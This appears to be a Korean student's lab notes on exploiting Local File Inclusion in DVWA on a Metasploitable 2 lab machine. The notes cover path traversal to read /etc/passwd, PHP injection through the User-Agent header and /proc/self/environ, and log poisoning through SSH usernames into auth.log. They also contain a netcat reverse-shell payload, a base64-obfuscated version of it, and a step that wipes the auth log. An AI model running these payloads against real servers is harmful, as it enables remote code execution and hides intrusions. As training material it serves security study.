LFI(Local File Inclusion)
웹브라우저를 통해서 서버에 파일을 포함시키는 과정의 공격
원할한 공격을 위해 meta의 보안레벨을 low로 설정.
이 규칙에 의해 밑에 실습이 허용된다.
url을 일부로 오류를 내게되면
위의 그림과 같이 에러메세지가 출력되는데, 이것을 통해 폴더 안에 정보를 확인할 수 있다.
이부분을 var/www/dvwa/vulnerabilities/fi/index.php
현재위치가 var/www/dvwa/vulnerabilities/fi 총 5개로
../../../../../ -> root로 돌아온것이구 여기서 보고싶은 파일 이름을치면
아래와 같이 /etc/passwd의 파일 내용을 볼 수 있다.
같은방법으로 /var/www/dvwa/robots.txt파일의 내용도
../../../../../var/www/dvwa/robots.txt
프록시
자신의 위치를 속일 수 있음.
클 -> 프 -> 서
클 -> 프 //클라 ip -> 프록시에게 전송
//클라는 127.0.0.1에 포트 8080 오픈
프 -> 서 //프록시 ip -> 서버에게 전송
burp-StartBurp //프록시 실행 프로그램
// 127.0.0.1 8080 으로 실행
파이어폭스에서
설정한 ip와 포트번호
세션을 맺었기 때문에 아래와 같이 로그가 남는다.
헤더의 정보를 이런식으로 확인할 수 있다.
[인터셉트를 통해 php문 삽입]
1. 인터셉트를 온으로 한다.
2.url에 http://meta/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ을 입력.
3. 아래와 같이 탈취를하게 되는데, user-agent부분을
<?php phpinfo() ?>로 변경
4. 요청한 페이지가 phpinfo()로 변경되어 접속이 된다.
아래와 같이 신분증과 같은역할의 값을 확인할 수 있다.
php 함수 중 passthru()
외부 프로그램을 실행하고 실행하는 동안 화면을 실시간으로 출력하는 함수 즉, 원격 접속과 비슷하다.
<?php passthru() ?>
netcat 프로그램 사용
-l 옵션 : 임의의 포트를 열어 원격접속이 가능하게 함. listen port
-p 옵션 : 포트 번호 지정
-e 옵션 : 셸을 실행
nc -vvlp 8888 //8888 포트를 개방하고 자세히 출력
열린 것 을 확인.
netstat -ant |grep 8888
<?php passthru("nc -e /bin/sh [공격자 IP] [열어놓은포트번호]"); ?>
<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>
이런식으로 원격접속이 가능하게 된다.
cd /var/www/dvwa
vi index.php 수정
[SSH 연결을 통해 원격관리]
SSH TCP 22 암호화된 연결제공
ssh -l msfadmin 192.168.232.131
ssh msfadmin@192.168.232.131
원할한 테스트를위해 메타스플로잇2의 로그를삭제.
vi /var/log/auth.log
:%d //안에 값을 전부삭제
:wq //저장
ssh를 통해 아무 아이디로 로그인
ssh random@192.168.232.131
위의 로그인했던 정보가 auth.log에 기록된다.
burp suite에서 decoder를 통해 아래 문장을 변환한다.
nc -e /bin/sh 192.168.232.100 8888
bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA 암호화된 문장을 php의 추가
base64로 암호화 했기 때문에 base64_decode를 붙여준다.
<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>
msfadmin@192.168.232.131 //빨간색으로 대체.
ssh "<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>"@192.168.232.131